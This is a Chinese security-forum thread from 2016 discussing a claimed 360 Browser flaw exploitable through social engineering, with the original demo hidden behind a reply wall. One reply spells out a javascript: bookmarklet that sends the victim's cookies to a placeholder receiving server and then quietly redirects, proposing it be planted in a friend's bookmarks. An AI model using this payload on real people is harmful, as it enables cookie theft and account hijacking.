请选择 进入手机版 | 继续访问电脑版

SSS安全论坛

 找回密码
 立即注册

QQ登录

只需一步,快速开始

产品
产品
团队
团队
版规
版规
查看: 3371|回复: 119

[原创文章] 360浏览器设计缺陷/结合社会工程学Demo

  [复制链接]
  • TA的每日心情
    奋斗
    昨天 00:14
  • 签到天数: 319 天

    [LV.8]以坛为家I

    发表于 2016-6-24 23:18:46 | 显示全部楼层 |阅读模式
    看完这篇文章,吓得我都不敢去wooyun了,赶紧来了SSS安全论坛装一波逼......

    QQ截图20160624225427.jpg

    这个漏洞必须结合社工,而且还要看不懂js代码的人,否则并没有什么卵用,但是把,还需要社工的apt攻击,不然别人不相信你,利用起来有点困难.....(我就想说一句:太鸡肋了)

    游客,如果您要查看本帖隐藏内容请回复



    评分

    参与人数 1好评 +1 收起 理由
    枫叶 + 1 收藏、收藏、收藏

    查看全部评分

    回复

    使用道具 举报

  • TA的每日心情
    奋斗
    2016-7-14 17:48
  • 签到天数: 7 天

    [LV.3]偶尔看看II

    发表于 2016-6-25 10:38:55 | 显示全部楼层
    这不算是浏览器缺陷吧,换一个浏览器不可以吗?
    假如把收藏夹的地址改成“javascript:alert(document.cookie)”
    一样弹cookie
    设想一个利用场景:
    假如我们去朋友家里,把他的收藏夹地址改成
    javascript:document.createElement("img").setAttribute("src","接收端");location.href="书签原地址";
    他打开以后不会弹窗,进入原书签地址,但是cookie已经到了你的平台。效果一样的,利用成本高,除了信任你的小白,也只能搞搞亲戚朋友了。
    ps:构造的代码好像有问题,欢迎交流
  • TA的每日心情
    奋斗
    昨天 00:14
  • 签到天数: 319 天

    [LV.8]以坛为家I

     楼主| 发表于 2016-6-25 10:40:37 | 显示全部楼层
    95zz 发表于 2016-6-25 10:38
    这不算是浏览器缺陷吧,换一个浏览器不可以吗?
    假如把收藏夹的地址改成“javascript:alert(document.coo ...

    恩恩,要是某浏览器有跨域的话可以用window.open()来接收,但是360好像没没有
  • TA的每日心情
    奋斗
    8 小时前
  • 签到天数: 32 天

    [LV.5]常住居民I

    发表于 2016-6-25 10:42:44 | 显示全部楼层
    6
    回复

    使用道具 举报

  • TA的每日心情
    奋斗
    前天 00:59
  • 签到天数: 407 天

    [LV.9]以坛为家II

    发表于 2016-6-25 10:43:43 | 显示全部楼层
    轩轩来一发!!:lol
  • TA的每日心情

    2017-2-16 11:02
  • 签到天数: 76 天

    [LV.6]常住居民II

    发表于 2016-6-25 10:45:01 | 显示全部楼层
    流弊                    
  • TA的每日心情
    奋斗
    2017-2-14 16:43
  • 签到天数: 109 天

    [LV.6]常住居民II

    发表于 2016-6-25 10:45:37 | 显示全部楼层
    老规矩,先回后下!!!!!!!
  • TA的每日心情

    2016-6-10 00:11
  • 签到天数: 21 天

    [LV.4]偶尔看看III

    发表于 2016-6-25 10:47:26 | 显示全部楼层
    66666来看看
  • TA的每日心情
    擦汗
    2016-8-28 20:36
  • 签到天数: 38 天

    [LV.5]常住居民I

    发表于 2016-6-25 10:47:28 | 显示全部楼层
    开始装逼辣
  • TA的每日心情
    擦汗
    2016-8-28 20:36
  • 签到天数: 38 天

    [LV.5]常住居民I

    发表于 2016-6-25 10:50:55 | 显示全部楼层
    本帖最后由 A先森 于 2016-6-25 11:13 编辑

    影响不大。。
    回复

    使用道具 举报

    您需要登录后才可以回帖 登录 | 立即注册

    本版积分规则

    关闭

    站长推荐上一条 /1 下一条

    关注微信赢邀请码

    QQ|Archiver|手机版|网站地图|网页地图|SSS安全论坛 ( 黔ICP备15010987号  

    GMT+8, 2017-2-28 17:53 , Processed in 0.199904 second(s), 36 queries .

    Powered by SSS团队 X3.2

    © 2014-2015 Comsenz Inc.

    快速回复 返回顶部 返回列表